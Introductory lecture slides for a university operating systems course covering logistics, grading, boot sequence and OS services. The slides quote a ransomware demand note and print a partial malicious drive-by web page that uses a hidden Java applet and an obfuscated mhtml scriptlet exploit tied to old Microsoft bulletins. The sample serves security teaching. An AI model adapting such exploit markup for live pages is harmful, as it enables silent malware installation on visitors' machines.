1. CS354: Operating Systems Spring 2016
Dongyan Xu
Department of Computer Science Purdue University

2. General Information Web Page: http://www.cs.purdue.edu/homes/cs354
Textbook:
Douglas Comer, Operating System Design, The Xinu Approach (2nd Edition, 2015)
Lab platform:
Xinu on BeagleBone Black (BBB)
An ARM processor

3. Staff Dongyan Xu (8th time teaching CS354)
Ph.D. University of Illinois at Urbana-Champaign
Full Prof. (2013-present), Assoc. Prof. ( ), Assist. Prof. ( )
Research:
Virtualization (VMware, Xen, KVM…)
Malware (rootkits, botnets, APTs…) defense
Cloud computing
Binary reverse engineering
Office hours (WF 2:30pm-3:30pm,LWSN1173)

4. Staff Teaching Assistants Office hours to be announced Xiangyu Bu
Sahithya Jagadish
Office hours to be announced

5. On-line Discussion Venue: Piazza
Please join by accessing:
All announcements will be posted there
Discussion on labs
It is your responsibility to check for official announcements, clarification of lab specification, and answers to lab-related questions.
But grades will still be posted on Blackboard Learn

6. PSOs There are no PSO sessions this week
The labs will be explained in PSOs.
Attendance is not mandatory (but encouraged)

7. Grading Grade breakdown: Midterm: 22% Final: 28% Projects: 50%
In-class Quizzes: 3% bonus
No written homework

8. Late/Grading Policies
Check Blackboard Learn for grade posting
Late policy for labs
No late submission accepted, but you will have 3 non-emergency Bonus Days (penalty-free)
Projects will be done individually
General discussion allowed
Must be on your own when coding starts
Don’t copy the one you found online
I checked the code. It’s pretty bad
Will check your submissions against it

9. Re-Grading Policy
You have 2 weeks (after the grade for a lab/quiz/exam is released) to request for re-grading
Re-grading requests for exams need to be in writing
After the re-grading period, no re-grading request will be honored.

10. Academic Integrity Policy
Academic integrity: lifeline of education
Your projects, quizzes and exams must be your own - we have a zero tolerance policy towards cheating of any kind and any student who cheats will get
Zero for the project/quiz/exam at first offense
F grade for the course thereafter
Both the cheater and the person(s) who aided the cheater will be held responsible for the cheating

11. Lecture Format
Help you understand important and hard OS concepts, design, and implementation
Lectures do not cover everything
Not all questions in exams are from lectures
But many (80%?) of them are 
Your responsibility
Attend lectures
Read code, textbook, lecture notes
Labs, quizzes, exams
Periodically check web page
Read/participate in Piazza discussion

12. Course Organization OS overview Computer architecture overview
Process scheduling and management
Process synchronization
Memory management
Interrupt processing
7. Device drivers
8. File system

13. Pre-requisite CS250 (Computer Architecture) CS251 (Data Structures)
CS252 (Systems Programming)
CS240 (C Programming)
Or equivalent

14. Introduction A computer system consists of Hardware System programs
1. SABRE (IBM, 1964). The descendent of the Air Force’s fabled SAGE program, SABRE solved a problem for which computers were ideally suited: airline reservations. Just-in-time inventory tracking, real-time data management, distributed enterprise systems? SABRE and American Airlines were there first. 
A computer system consists of
Hardware
System programs
Application programs

15. Interfacing with Operating System

16. What is an Operating System (OS)
It is a system program that sits between hardware and application programs.
The program starts running at boot time.
Who boots up the OS?
BIOS self-check -> determining boot device -> first sector loaded and executed -> partition-specific boot loader loaded and executed -> OS loaded and executed

17. What does an OS do? “To serve and to protect”
It offers services that are common to all applications:
Program execution, printing, windowing, file access, resource allocation
It enables multitasking
Allows multiple processes running at the same time
It offers protection/security.
E.g., a user cannot see files of other users.

18. (Lack of) OS Security Malware Botnets Worms
Why do they spread so quickly?
Spyware, keylogger, identity theft, blackmail…
GREETINGS FROM GENERAL ENCRYPTION!
TO PURCHASE A DECRYPTION KEY FOR YOUR HARD DISK, PLEASE
SEND $100 IN SMALL UNMARKED BILLS TO BOX 2154, PANAMA CITY,
PANAMA. THANK YOU. WE APPRECIATE YOUR BUSINESS

19. A Real Incident Upon Clicking a malicious URL
<html><head><title></title></head><body>
<style>
* {CURSOR: url("
</style>
<APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1 HEIGHT=1>
<PARAM NAME='url' VALUE='
<script>
try{
document.write('<object data=`&#109&#115&#45&#105&#116&#115&#58
&#109&#104&#116&#109&#108&#58&#102&#105&#108&#101:
//C:\fo'+'o.mht!'+'
'm::/targ'+'et.htm` type=`text/x-scriptlet`></ob'+'ject>');
}catch(e){} </script>
</body></html>
MS05-002
MS03-011
MS04-013
22 unwanted programs installed without user’s consent!

20. What does an operating system offer?
Reliability
Each program runs inside a “sandbox”. If the process does something wrong like writing to an invalid memory, it will receive a notification. Processes will not get out of the sandbox. The OS continues running.
Fairness
access to resources has to be fair across users with the same priority.
Support for multiple users
It allows running multiple users in the same machine simultaneously.

21. The Operating System Zoo
Mainframe OS
Server OS
Multiprocessor OS
Personal computer OS
Real-time OS
Embedded OS
Smartphone OS
Browser OS
Cloud OS
OS for Oses (hypervisors) 21

22. Windows 10 22

23. Android and iOS 23

24. Android Platform http://code.google.com/android/
The first complete, open, and free mobile platform 24

25. Wireless Sensor Nodes 25

26. Blue Gene/L Supercomputer26

27. Blue Gene/L OS 27

28. Summary Course overview Policy and requirement What is OS?
Coming up next:
Review of computer architecture and program structure